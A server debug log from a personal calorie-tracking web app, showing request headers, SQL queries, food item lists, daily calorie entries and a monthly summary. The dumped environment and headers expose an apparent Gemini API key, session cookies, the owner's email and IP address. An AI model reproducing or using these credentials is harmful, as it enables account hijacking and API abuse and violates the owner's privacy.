    cookie: 'security.auth=s%3ANUYGZxCViiFn3hbivZxlvQ%3D%3D.7O7ZDrIAC%2Bdo%2BBVq%2FKvNYP0VlJySV61M8U2Q6BbIr183p2%2FbCCKCvDtvUQw9Z35i9c7fY75t3g5PHO9RPwrLjwhswEssvvTw%2FJOAIafF%2F64WqIZ9C%2BHrTnvEUtbwcTuKL%2BPZyzWmdYDGtcktbD9gloQ%2B7zJ6tbU32QBlVUqbzHU%3D.yxHT5hsV4F5Ib0FtgytACtlp3EUWwgE7r%2B7jwwTdeqM; your_r_git.sid=s%3AeH00IxRM2C0AdKMakCu4ejLqTGHuH_vq.YzqmC3nBoxOz1Ss6YbblTfYuvbsG67Z2%2FWGzsf2PuOI',
    'x-forwarded-for': '49.43.181.210',
    connection: 'keep-alive',
    'x-forwarded-host': 'ems.sanjaychaurasia.xyz',
    'x-forwarded-proto': 'https'
  },
  '$_COOKIE': {},
  '$_SESSION': Session {
    cookie: {
      path: '/',
      _expires: 2025-12-16T12:38:44.137Z,
      originalMaxAge: 86400000,
      httpOnly: true
    },
    securityId: 1
  },
  '$_SERVER': {
    CONTENT_TYPE: undefined,
    HTTPS: true,
    PATH_INFO: '/calorie-tracker',
    QUERY_STRING: undefined,
    REMOTE_ADDR: '49.43.181.210',
    REQUEST_PROTOCOL: 'https',
    REQUEST_METHOD: 'GET',
    SERVER_NAME: 'ems.sanjaychaurasia.xyz',
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    URL: '/calorie-tracker',
    HOSTNAME: 's6519.dnspark.in',
    HTTP_HOST: 'ems.sanjaychaurasia.xyz',
    HTTP_CACHE_CONTROL: 'max-age=0',
    'HTTP_SEC_CH-UA': '"Google Chrome";v="143", "Chromium";v="143", "Not A(Brand";v="24"',
    'HTTP_SEC_CH-UA-MOBILE': '?1',
    'HTTP_SEC_CH-UA-PLATFORM': '"Android"',
    'HTTP_UPGRADE_INSECURE-REQUESTS': '1',
    HTTP_USER_AGENT: 'Mozilla/5.0 (Linux; Android 10; K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/143.0.0.0 Mobile Safari/537.36',
    HTTP_ACCEPT: 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7',
    'HTTP_SERVICE_WORKER-NAVIGATION-PRELOAD': 'true',
    'HTTP_SEC_FETCH-SITE': 'same-origin',
    'HTTP_SEC_FETCH-MODE': 'navigate',
    'HTTP_SEC_FETCH-USER': '?1',
    'HTTP_SEC_FETCH-DEST': 'document',
    HTTP_ACCEPT_ENCODING: 'gzip,br',
    HTTP_ACCEPT_LANGUAGE: 'en-US,en;q=0.9,hi;q=0.8,fr;q=0.7',
    'HTTP_IF_NONE-MATCH': 'W/"12e89-SduvY0PXqQWXGwFWteY9dYGdlRs"',
    HTTP_PRIORITY: 'u=0, i',
    HTTP_COOKIE: 'security.auth=s%3ANUYGZxCViiFn3hbivZxlvQ%3D%3D.7O7ZDrIAC%2Bdo%2BBVq%2FKvNYP0VlJySV61M8U2Q6BbIr183p2%2FbCCKCvDtvUQw9Z35i9c7fY75t3g5PHO9RPwrLjwhswEssvvTw%2FJOAIafF%2F64WqIZ9C%2BHrTnvEUtbwcTuKL%2BPZyzWmdYDGtcktbD9gloQ%2B7zJ6tbU32QBlVUqbzHU%3D.yxHT5hsV4F5Ib0FtgytACtlp3EUWwgE7r%2B7jwwTdeqM; your_r_git.sid=s%3AeH00IxRM2C0AdKMakCu4ejLqTGHuH_vq.YzqmC3nBoxOz1Ss6YbblTfYuvbsG67Z2%2FWGzsf2PuOI',
    'HTTP_X_FORWARDED-FOR': '49.43.181.210',
    HTTP_CONNECTION: 'keep-alive',
    'HTTP_X_FORWARDED-HOST': 'ems.sanjaychaurasia.xyz',
    'HTTP_X_FORWARDED-PROTO': 'https'
  },
  identity: 1,
  content: '/calorie-tracker'
}
2025-12-16T05:17:00.910Z server-connect:router Serving serverConnect /api/masters/get-items
2025-12-16T05:17:00.910Z server-connect:router Serving serverConnect /api/access-control/user-info
2025-12-16T05:17:00.911Z server-connect:app Executing action step identify
2025-12-16T05:17:00.911Z server-connect:app options: { provider: 'security' }
2025-12-16T05:17:00.911Z server-connect:output identity: 1
2025-12-16T05:17:00.911Z server-connect:app Executing action step restrict
2025-12-16T05:17:00.911Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2025-12-16T05:17:00.912Z server-connect:app Executing action step identify
2025-12-16T05:17:00.912Z server-connect:app options: { provider: 'security' }
2025-12-16T05:17:00.912Z server-connect:output identity: 1
2025-12-16T05:17:00.912Z server-connect:app Executing action step restrict
2025-12-16T05:17:00.912Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2025-12-16T05:17:00.912Z server-connect:output restrict: undefined
2025-12-16T05:17:00.912Z server-connect:app Executing action step select
2025-12-16T05:17:00.912Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [ [Object], [Object], [Object] ],
    params: [],
    table: { name: 'sub_categories' },
    primary: 'id',
    joins: [ [Object] ],
    query: 'select `sub_categories`.`subcategory_name` as `item_name`, `sub_categories`.`id` as `item_id`, `categories`.`category_name` from `sub_categories` inner join `categories` on `categories`.`id` = `sub_categories`.`category_id`'
  }
}
2025-12-16T05:17:00.913Z server-connect:router Serving serverConnect /api/health/todays-calories
2025-12-16T05:17:00.914Z server-connect:output restrict: undefined
2025-12-16T05:17:00.914Z server-connect:app Executing action step single
2025-12-16T05:17:00.914Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'select',
    columns: [ [Object], [Object], [Object], [Object] ],
    params: [],
    table: { name: 'user' },
    primary: 'id',
    joins: [],
    query: 'select `first_name`, `last_name`, `email`, `id` from `user`'
  }
}
2025-12-16T05:17:00.915Z server-connect:output list: [
  { item_name: 'Clothing', item_id: 27, category_name: 'Apparel' },
  { item_name: 'Fashion', item_id: 28, category_name: 'Apparel' },
  { item_name: 'Shoes', item_id: 29, category_name: 'Apparel' },
  { item_name: 'Kurta Mens', item_id: 154, category_name: 'Apparel' },
  { item_name: 'Baby Towel', item_id: 161, category_name: 'Apparel' },
  { item_name: 'Bra', item_id: 178, category_name: 'Apparel' },
  { item_name: 'Dress', item_id: 188, category_name: 'Apparel' },
  { item_name: 'Stole', item_id: 193, category_name: 'Apparel' },
  { item_name: 'Leggings', item_id: 206, category_name: 'Apparel' },
  {
    item_name: 'Jockey Thermal Top',
    item_id: 208,
    category_name: 'Apparel'
  },
  { item_name: 'Chudas', item_id: 238, category_name: 'Apparel' },
  {
    item_name: 'Artifial Jwellery',
    item_id: 245,
    category_name: 'Apparel'
  },
  { item_name: 'Blazer', item_id: 267, category_name: 'Apparel' },
  { item_name: 'Nehru Jacket', item_id: 268, category_name: 'Apparel' },
  { item_name: 'Belt', item_id: 270, category_name: 'Apparel' },
  { item_name: 'Loafer', item_id: 272, category_name: 'Apparel' },
  { item_name: 'Pant', item_id: 274, category_name: 'Apparel' },
  {
    item_name: 'Winter Jacket',
    item_id: 275,
    category_name: 'Apparel'
  },
  { item_name: 'Girl Jacket', item_id: 276, category_name: 'Apparel' },
  { item_name: 'T Shirt', item_id: 277, category_name: 'Apparel' },
  { item_name: 'Shopping Bag', item_id: 278, category_name: 'Apparel' },
  { item_name: 'Blouse', item_id: 377, category_name: 'Apparel' },
  { item_name: 'Chappal', item_id: 378, category_name: 'Apparel' },
  { item_name: 'Saree', item_id: 392, category_name: 'Apparel' },
  { item_name: 'Skirt', item_id: 450, category_name: 'Apparel' },
  { item_name: 'Stall', item_id: 477, category_name: 'Apparel' },
  { item_name: 'Shorts', item_id: 529, category_name: 'Apparel' },
  { item_name: 'Juti', item_id: 616, category_name: 'Apparel' },
  {
    item_name: 'Cloth Fitting',
    item_id: 643,
    category_name: 'Apparel'
  },
  { item_name: 'Underwear', item_id: 651, category_name: 'Apparel' },
  { item_name: 'Cosmentics', item_id: 31, category_name: 'Beauty' },
  { item_name: 'Makeup', item_id: 32, category_name: 'Beauty' },
  { item_name: 'Accessories', item_id: 33, category_name: 'Beauty' },
  {
    item_name: 'Gillete Gaurd Machine',
    item_id: 135,
    category_name: 'Beauty'
  },
  {
    item_name: 'Gillete Gaurd Blades',
    item_id: 137,
    category_name: 'Beauty'
  },
  {
    item_name: 'Loreal Parish Condition',
    item_id: 176,
    category_name: 'Beauty'
  },
  {
    item_name: 'Shahnaz Hussain Facial Pack',
    item_id: 179,
    category_name: 'Beauty'
  },
  {
    item_name: 'Elle 18 Crayon',
    item_id: 180,
    category_name: 'Beauty'
  },
  { item_name: 'Hair Gel MG5', item_id: 273, category_name: 'Beauty' },
  {
    item_name: 'Ponds Whity Beuty',
    item_id: 324,
    category_name: 'Beauty'
  },
  {
    item_name: 'Ponds face wash',
    item_id: 326,
    category_name: 'Beauty'
  },
  { item_name: 'Hair clip', item_id: 337, category_name: 'Beauty' },
  { item_name: 'Lotus cream', item_id: 437, category_name: 'Beauty' },
  { item_name: 'Hair Band', item_id: 476, category_name: 'Beauty' },
  {
    item_name: 'Loreal Conditional',
    item_id: 561,
    category_name: 'Beauty'
  },
  {
    item_name: 'Ram Narayan Jwellery',
    item_id: 564,
    category_name: 'Beauty'
  },
  {
    item_name: 'Boutique moisturizing cream',
    item_id: 592,
    category_name: 'Beauty'
  },
  { item_name: 'D tan', item_id: 593, category_name: 'Beauty' },
  { item_name: 'Pani Puri', item_id: 56, category_name: 'Eating Out' },
  { item_name: 'Cold Drink', item_id: 59, category_name: 'Eating Out' },
  { item_name: 'Lunch', item_id: 63, category_name: 'Eating Out' },
  { item_name: 'Dinner', item_id: 64, category_name: 'Eating Out' },
  {
    item_name: 'Chicken Tikka',
    item_id: 67,
    category_name: 'Eating Out'
  },
  { item_name: 'Momos', item_id: 68, category_name: 'Eating Out' },
  { item_name: 'Faluda', item_id: 69, category_name: 'Eating Out' },
  { item_name: 'Pastry', item_id: 72, category_name: 'Eating Out' },
  {
    item_name: 'Fruit Cream',
    item_id: 73,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Rabdi Bottle',
    item_id: 74,
    category_name: 'Eating Out'
  },
  { item_name: 'Idli Fry', item_id: 80, category_name: 'Eating Out' },
  {
    item_name: 'Ferroro Rocher Shake',
    item_id: 82,
    category_name: 'Eating Out'
  },
  { item_name: 'Sandwich', item_id: 83, category_name: 'Eating Out' },
  {
    item_name: 'Pineapple Juice',
    item_id: 84,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Mausmi Juice',
    item_id: 85,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Kitkat Shake',
    item_id: 87,
    category_name: 'Eating Out'
  },
  { item_name: 'Tea', item_id: 100, category_name: 'Eating Out' },
  {
    item_name: 'Bread Butter',
    item_id: 104,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Spring Roll',
    item_id: 114,
    category_name: 'Eating Out'
  },
  { item_name: 'Red Bull', item_id: 125, category_name: 'Eating Out' },
  { item_name: 'Nimbuz', item_id: 132, category_name: 'Eating Out' },
  {
    item_name: 'Kadi kachori',
    item_id: 140,
    category_name: 'Eating Out'
  },
  { item_name: 'Nimu soda', item_id: 141, category_name: 'Eating Out' },
  {
    item_name: 'Chocho Lottie Pie',
    item_id: 156,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Manchurian',
    item_id: 157,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Cold coffee',
    item_id: 158,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Sprite Cold Drink',
    item_id: 170,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Snickers Chochlate',
    item_id: 171,
    category_name: 'Eating Out'
  },
  { item_name: 'Puff Corn', item_id: 172, category_name: 'Eating Out' },
  {
    item_name: 'Cadbusy Fuse Chochlate',
    item_id: 174,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Five Starts Chochlate',
    item_id: 175,
    category_name: 'Eating Out'
  },
  { item_name: 'Mithai', item_id: 190, category_name: 'Eating Out' },
  {
    item_name: 'Real Juice',
    item_id: 195,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Fanta Cold Drink',
    item_id: 198,
    category_name: 'Eating Out'
  },
  { item_name: 'Ice Cream', item_id: 199, category_name: 'Eating Out' },
  {
    item_name: 'Chicken Ready Made',
    item_id: 203,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Sunfest Yuppie Noodles',
    item_id: 204,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Kingfisher mint cold drink',
    item_id: 205,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Ghewar Mithai',
    item_id: 226,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Moti choor Ladoo',
    item_id: 227,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Chichen Tikka Roll',
    item_id: 233,
    category_name: 'Eating Out'
  },
  { item_name: 'Pav Bhaji', item_id: 234, category_name: 'Eating Out' },
  { item_name: 'Fish', item_id: 235, category_name: 'Eating Out' },
  { item_name: 'Dabeli', item_id: 236, category_name: 'Eating Out' },
  {
    item_name: 'Gulab Jamun',
    item_id: 248,
    category_name: 'Eating Out'
  },
  { item_name: 'soya chap', item_id: 255, category_name: 'Eating Out' },
  {
    item_name: 'Pineapple shake',
    item_id: 256,
    category_name: 'Eating Out'
  },
  { item_name: 'Tiffin', item_id: 259, category_name: 'Eating Out' },
  { item_name: 'Pizza', item_id: 260, category_name: 'Eating Out' },
  {
    item_name: 'Sitafal Thick Shake',
    item_id: 261,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Fruit Punch thick shake',
    item_id: 262,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Chole Kulche',
    item_id: 264,
    category_name: 'Eating Out'
  },
  ... 534 more items
]
2025-12-16T05:17:00.916Z server-connect:output user_info: {
  first_name: 'Sanjay',
  last_name: 'Kumar',
  email: 'engineer.sanjay20@gmail.com',
  id: 1
}
2025-12-16T05:17:00.916Z server-connect:app Executing action step identify
2025-12-16T05:17:00.916Z server-connect:app options: { provider: 'security' }
2025-12-16T05:17:00.916Z server-connect:output identity: 1
2025-12-16T05:17:00.916Z server-connect:app Executing action step restrict
2025-12-16T05:17:00.916Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2025-12-16T05:17:00.917Z server-connect:output restrict: undefined
2025-12-16T05:17:00.917Z server-connect:app Executing action step single
2025-12-16T05:17:00.917Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [ [Object], [Object], [Object], [Object], [Object], [Object] ],
    params: [ [Object], [Object] ],
    table: { name: 'calories_requirement' },
    joins: [],
    primary: 'id',
    wheres: {
      condition: 'AND',
      rules: [Array],
      conditional: null,
      valid: true
    },
    query: 'select `id`, `start_date`, `end_date`, `maintenance_calories`, `weight_kg`, `target_calories` from `calories_requirement` where `calories_requirement`.`start_date` <= ? and `calories_requirement`.`end_date` >= ?'
  }
}
2025-12-16T05:17:00.918Z server-connect:output requirements: {
  id: 3,
  start_date: '2025-11-09T18:30:00.000Z',
  end_date: '2025-12-29T18:30:00.000Z',
  maintenance_calories: 2400,
  weight_kg: '71.00',
  target_calories: 1800
}
2025-12-16T05:17:00.918Z server-connect:app Executing action step select
2025-12-16T05:17:00.918Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [],
    params: [ [Object] ],
    table: { name: 'calories_tracking' },
    primary: 'id',
    joins: [],
    wheres: {
      condition: 'AND',
      rules: [Array],
      conditional: null,
      valid: true
    },
    query: 'select * from `calories_tracking` where `calories_tracking`.`intake_date` = ? order by `id` ASC',
    orders: [ [Object] ]
  }
}
2025-12-16T05:17:00.919Z server-connect:output item_list: [
  {
    id: 402,
    intake_date: '2025-12-15T18:30:00.000Z',
    item_name: "Milk Tea (without sugar, assuming full-fat cow's milk)",
    calories: 48,
    protein_gm: 3,
    carbs_gm: 4,
    fat_gm: 3,
    quantity: 'Half cup (approx 120ml total beverage)',
    replacements: 'Black tea (no milk),Green tea (no milk),Tea with skim milk or unsweetened plant-based milk (almond, soy),Tea with less milk',
    created_at: '2025-12-15T21:00:48.000Z',
    skip_level: 1,
    skip_reason: 'This item provides some protein and calcium from the milk, which are beneficial for muscle development and bone health. By being sugar-free, it avoids empty calories. The moderate fat content from half a cup of full-fat milk is acceptable for an active individual focused on muscle development.'
  },
  {
    id: 403,
    intake_date: '2025-12-15T18:30:00.000Z',
    item_name: 'Idli (light fried)',
    calories: 290,
    protein_gm: 7,
    carbs_gm: 52,
    fat_gm: 8,
    quantity: '4 pieces (approx 200g idli + 6.75g oil)',
    replacements: 'Steamed Idli (no oil),Idli made with very minimal oil spray on a non-stick pan,Idli with a higher proportion of urad dal (lentils) for increased protein content',
    created_at: '2025-12-15T22:15:18.000Z',
    skip_level: 2,
    skip_reason: "While Idli is a good carbohydrate source providing energy for your gym sessions, 'light fried' adds extra fats and calories from the oil. For lean muscle development, it's generally better to consume steamed versions to control fat intake, especially when managing overall calorie intake with a desk job lifestyle."
  },
  {
    id: 404,
    intake_date: '2025-12-15T18:30:00.000Z',
    item_name: 'Ketchup',
    calories: 12,
    protein_gm: 0,
    carbs_gm: 3,
    fat_gm: 0,
    quantity: '1 sachet (approx 12g)',
    replacements: 'Sugar-free ketchup,Homemade fresh tomato salsa or chutney (with minimal added sugar and oil),Herbal chutneys (e.g., mint, coriander) without added sugar',
    created_at: '2025-12-15T22:15:18.000Z',
    skip_level: 3,
    skip_reason: 'Ketchup is typically high in added sugars and provides minimal to no nutritional value (empty calories). Consuming empty calories from added sugars is counterproductive to muscle development goals and overall health, especially when aiming for a lean physique.'
  }
]
2025-12-16T05:17:00.919Z server-connect:app Executing action step setvalue
2025-12-16T05:17:00.919Z server-connect:app options: { key: 'var_total', value: "{{item_list.sum('calories')}}" }
2025-12-16T05:17:00.919Z server-connect:output var_total: 350
2025-12-16T05:17:00.919Z server-connect:app Executing action step setvalue
2025-12-16T05:17:00.919Z server-connect:app options: {
  key: 'var_consumed',
  value: '{{((var_total / requirements.maintenance_calories)*100).round(0)}}'
}
2025-12-16T05:17:00.919Z server-connect:output var_consumed: 15
2025-12-16T05:17:00.919Z server-connect:app Executing action step setvalue
2025-12-16T05:17:00.919Z server-connect:app options: {
  key: 'var_deficit',
  value: '{{requirements.maintenance_calories-var_total}}'
}
2025-12-16T05:17:00.919Z server-connect:output var_deficit: 2050
2025-12-16T05:17:00.919Z server-connect:app Executing action step custom
2025-12-16T05:17:00.919Z server-connect:app options: {
  connection: 'db',
  sql: {
    query: 'SELECT\n' +
      '  ct.intake_date,\n' +
      '  SUM(ct.calories) AS total_consumed,\n' +
      '  COALESCE(cr.maintenance_calories, 0) - SUM(ct.calories) AS surplus_or_deficit,\n' +
      '  CASE\n' +
      '    WHEN SUM(ct.calories) > COALESCE(cr.maintenance_calories, 0) THEN 0\n' +
      '    WHEN SUM(ct.calories) >= COALESCE(cr.target_calories, 0) THEN 1\n' +
      '    ELSE 2\n' +
      '  END AS status_flag\n' +
      'FROM calories_tracking ct\n' +
      'LEFT JOIN (\n' +
      '  -- pick the requirement row that covers TODAY (CURDATE())\n' +
      '  SELECT *\n' +
      '  FROM calories_requirement\n' +
      '  WHERE DATE(start_date) <= CURDATE()\n' +
      '    AND DATE(end_date)   >= CURDATE()\n' +
      '  ORDER BY start_date DESC\n' +
      '  LIMIT 1\n' +
      ') cr ON 1 = 1\n' +
      "WHERE ct.intake_date >= DATE_FORMAT(CURDATE(), '%Y-%m-01')\n" +
      "  AND ct.intake_date <  DATE_ADD(DATE_FORMAT(CURDATE(), '%Y-%m-01'), INTERVAL 1 MONTH)\n" +
      'GROUP BY ct.intake_date\n' +
      'ORDER BY ct.intake_date;',
    params: []
  }
}
2025-12-16T05:17:00.920Z server-connect:output monthly_chart: [
  {
    intake_date: 2025-11-30T18:30:00.000Z,
    total_consumed: '1890',
    surplus_or_deficit: '510',
    status_flag: 1
  },
  {
    intake_date: 2025-12-01T18:30:00.000Z,
    total_consumed: '1094',
    surplus_or_deficit: '1306',
    status_flag: 2
  },
  {
    intake_date: 2025-12-02T18:30:00.000Z,
    total_consumed: '1923',
    surplus_or_deficit: '477',
    status_flag: 1
  },
  {
    intake_date: 2025-12-03T18:30:00.000Z,
    total_consumed: '1851',
    surplus_or_deficit: '549',
    status_flag: 1
  },
  {
    intake_date: 2025-12-04T18:30:00.000Z,
    total_consumed: '2435',
    surplus_or_deficit: '-35',
    status_flag: 0
  },
  {
    intake_date: 2025-12-05T18:30:00.000Z,
    total_consumed: '1055',
    surplus_or_deficit: '1345',
    status_flag: 2
  },
  {
    intake_date: 2025-12-07T18:30:00.000Z,
    total_consumed: '2303',
    surplus_or_deficit: '97',
    status_flag: 1
  },
  {
    intake_date: 2025-12-08T18:30:00.000Z,
    total_consumed: '1571',
    surplus_or_deficit: '829',
    status_flag: 2
  },
  {
    intake_date: 2025-12-09T18:30:00.000Z,
    total_consumed: '1297',
    surplus_or_deficit: '1103',
    status_flag: 2
  },
  {
    intake_date: 2025-12-12T18:30:00.000Z,
    total_consumed: '1882',
    surplus_or_deficit: '518',
    status_flag: 1
  },
  {
    intake_date: 2025-12-13T18:30:00.000Z,
    total_consumed: '404',
    surplus_or_deficit: '1996',
    status_flag: 2
  },
  {
    intake_date: 2025-12-14T18:30:00.000Z,
    total_consumed: '2521',
    surplus_or_deficit: '-121',
    status_flag: 0
  },
  {
    intake_date: 2025-12-15T18:30:00.000Z,
    total_consumed: '350',
    surplus_or_deficit: '2050',
    status_flag: 2
  }
]
2025-12-16T05:17:12.530Z server-connect:router Serving templateView /calorie-tracker
2025-12-16T05:17:12.531Z server-connect:app Executing action step identify
2025-12-16T05:17:12.531Z server-connect:app options: { provider: 'security' }
2025-12-16T05:17:12.531Z server-connect:output identity: 1
2025-12-16T05:17:12.531Z server-connect:app Executing action step restrict
2025-12-16T05:17:12.531Z server-connect:app options: {
  provider: 'security',
  permissions: [ 'Active' ],
  loginUrl: '/login',
  forbiddenUrl: '/login'
}
2025-12-16T05:17:12.531Z server-connect:output restrict: undefined
2025-12-16T05:17:12.531Z server-connect:router Render template layouts/main
2025-12-16T05:17:12.532Z server-connect:router Template data: {
  '$value': undefined,
  '$_ERROR': null,
  '$_ENV': {
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    CL_VIRTUAL_ENV: '/home/tocyxovu/nodevenv/ems/22',
    LSNODE_STARTUP_FILE: 'index.js',
    BKP_NODE_PATH: '',
    CL_APP_ROOT: 'ems',
    NODE_PATH: '/home/tocyxovu/nodevenv/ems/22/lib/node_modules:/opt/alt/alt-nodejs22/root/lib/node_modules:/opt/alt/alt-nodejs22/root/lib64/node_modules:',
    LSNODE_SOCKET: '/usr/local/lsws/extapp-sock/APVH_ems.sanjaychaurasia.xyz:443:_.sock',
    LSAPI_PPID_NO_CHECK: '1',
    LSAPI_PGRP_MAX_IDLE: '300',
    NODE_ENV: 'development',
    LSNODE_ROOT: '/home/tocyxovu/ems/',
    BKP_PATH: '/usr/local/bin:/bin:/usr/bin',
    PWD: '/home/tocyxovu/nodevenv/ems/22/bin',
    HOME: '/home/tocyxovu',
    CL_NODEHOME: '/opt/alt/alt-nodejs22/root',
    GEMINI_API_KEY: 'AIzaSyA4zE36yqNwbeRyxb3UsKcEB5XrUybrhs8',
    SHLVL: '0',
    BKP_PS1: '',
    PATH: '/home/tocyxovu/nodevenv/ems/22/bin:/opt/alt/alt-nodejs22/root/usr/bin:/home/tocyxovu/nodevenv/ems/22/lib/bin/:/usr/local/bin:/bin:/usr/bin',
    PS1: '[ems (22)] ',
    DEBUG: 'server-connect:*'
  },
  '$_GET': {},
  '$_POST': {},
  '$_PARAM': {},
  '$_HEADER': {
    host: 'ems.sanjaychaurasia.xyz',
    'cache-control': 'max-age=0',
    'sec-ch-ua': '"Google Chrome";v="143", "Chromium";v="143", "Not A(Brand";v="24"',
    'sec-ch-ua-mobile': '?1',
    'sec-ch-ua-platform': '"Android"',
    'upgrade-insecure-requests': '1',
    'user-agent': 'Mozilla/5.0 (Linux; Android 10; K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/143.0.0.0 Mobile Safari/537.36',
    accept: 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7',
    'service-worker-navigation-preload': 'true',
    'sec-fetch-site': 'same-origin',
    'sec-fetch-mode': 'navigate',
    'sec-fetch-user': '?1',
    'sec-fetch-dest': 'document',
    'accept-encoding': 'gzip,br',
    'accept-language': 'en-US,en;q=0.9,hi;q=0.8,fr;q=0.7',
    'if-none-match': 'W/"12fba-+Rnfsafj+2RsJkHtk+091/JAxXc"',
    priority: 'u=0, i',
    cookie: 'security.auth=s%3ANUYGZxCViiFn3hbivZxlvQ%3D%3D.7O7ZDrIAC%2Bdo%2BBVq%2FKvNYP0VlJySV61M8U2Q6BbIr183p2%2FbCCKCvDtvUQw9Z35i9c7fY75t3g5PHO9RPwrLjwhswEssvvTw%2FJOAIafF%2F64WqIZ9C%2BHrTnvEUtbwcTuKL%2BPZyzWmdYDGtcktbD9gloQ%2B7zJ6tbU32QBlVUqbzHU%3D.yxHT5hsV4F5Ib0FtgytACtlp3EUWwgE7r%2B7jwwTdeqM; your_r_git.sid=s%3AeH00IxRM2C0AdKMakCu4ejLqTGHuH_vq.YzqmC3nBoxOz1Ss6YbblTfYuvbsG67Z2%2FWGzsf2PuOI',
    'x-forwarded-for': '49.43.181.210',
    connection: 'keep-alive',
    'x-forwarded-host': 'ems.sanjaychaurasia.xyz',
    'x-forwarded-proto': 'https'
  },
  '$_COOKIE': {},
  '$_SESSION': Session {
    cookie: {
      path: '/',
      _expires: 2025-12-16T12:38:44.137Z,
      originalMaxAge: 86400000,
      httpOnly: true
    },
    securityId: 1
  },
  '$_SERVER': {
    CONTENT_TYPE: undefined,
    HTTPS: true,
    PATH_INFO: '/calorie-tracker',
    QUERY_STRING: undefined,
    REMOTE_ADDR: '49.43.181.210',
    REQUEST_PROTOCOL: 'https',
    REQUEST_METHOD: 'GET',
    SERVER_NAME: 'ems.sanjaychaurasia.xyz',
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    URL: '/calorie-tracker',
    HOSTNAME: 's6519.dnspark.in',
    HTTP_HOST: 'ems.sanjaychaurasia.xyz',
    HTTP_CACHE_CONTROL: 'max-age=0',
    'HTTP_SEC_CH-UA': '"Google Chrome";v="143", "Chromium";v="143", "Not A(Brand";v="24"',
    'HTTP_SEC_CH-UA-MOBILE': '?1',
    'HTTP_SEC_CH-UA-PLATFORM': '"Android"',
    'HTTP_UPGRADE_INSECURE-REQUESTS': '1',
    HTTP_USER_AGENT: 'Mozilla/5.0 (Linux; Android 10; K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/143.0.0.0 Mobile Safari/537.36',
    HTTP_ACCEPT: 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7',
    'HTTP_SERVICE_WORKER-NAVIGATION-PRELOAD': 'true',
    'HTTP_SEC_FETCH-SITE': 'same-origin',
    'HTTP_SEC_FETCH-MODE': 'navigate',
    'HTTP_SEC_FETCH-USER': '?1',
    'HTTP_SEC_FETCH-DEST': 'document',
    HTTP_ACCEPT_ENCODING: 'gzip,br',
    HTTP_ACCEPT_LANGUAGE: 'en-US,en;q=0.9,hi;q=0.8,fr;q=0.7',
    'HTTP_IF_NONE-MATCH': 'W/"12fba-+Rnfsafj+2RsJkHtk+091/JAxXc"',
    HTTP_PRIORITY: 'u=0, i',
    HTTP_COOKIE: 'security.auth=s%3ANUYGZxCViiFn3hbivZxlvQ%3D%3D.7O7ZDrIAC%2Bdo%2BBVq%2FKvNYP0VlJySV61M8U2Q6BbIr183p2%2FbCCKCvDtvUQw9Z35i9c7fY75t3g5PHO9RPwrLjwhswEssvvTw%2FJOAIafF%2F64WqIZ9C%2BHrTnvEUtbwcTuKL%2BPZyzWmdYDGtcktbD9gloQ%2B7zJ6tbU32QBlVUqbzHU%3D.yxHT5hsV4F5Ib0FtgytACtlp3EUWwgE7r%2B7jwwTdeqM; your_r_git.sid=s%3AeH00IxRM2C0AdKMakCu4ejLqTGHuH_vq.YzqmC3nBoxOz1Ss6YbblTfYuvbsG67Z2%2FWGzsf2PuOI',
    'HTTP_X_FORWARDED-FOR': '49.43.181.210',
    HTTP_CONNECTION: 'keep-alive',
    'HTTP_X_FORWARDED-HOST': 'ems.sanjaychaurasia.xyz',
    'HTTP_X_FORWARDED-PROTO': 'https'
  },
  identity: 1,
  content: '/calorie-tracker'
}
2025-12-16T05:17:13.215Z server-connect:router Serving serverConnect /api/health/todays-calories
2025-12-16T05:17:13.217Z server-connect:router Serving serverConnect /api/masters/get-items
2025-12-16T05:17:13.217Z server-connect:router Serving serverConnect /api/access-control/user-info
2025-12-16T05:17:13.217Z server-connect:app Executing action step identify
2025-12-16T05:17:13.217Z server-connect:app options: { provider: 'security' }
2025-12-16T05:17:13.217Z server-connect:output identity: 1
2025-12-16T05:17:13.217Z server-connect:app Executing action step restrict
2025-12-16T05:17:13.217Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2025-12-16T05:17:13.218Z server-connect:app Executing action step identify
2025-12-16T05:17:13.218Z server-connect:app options: { provider: 'security' }
2025-12-16T05:17:13.218Z server-connect:output identity: 1
2025-12-16T05:17:13.218Z server-connect:app Executing action step restrict
2025-12-16T05:17:13.218Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2025-12-16T05:17:13.218Z server-connect:output restrict: undefined
2025-12-16T05:17:13.218Z server-connect:app Executing action step single
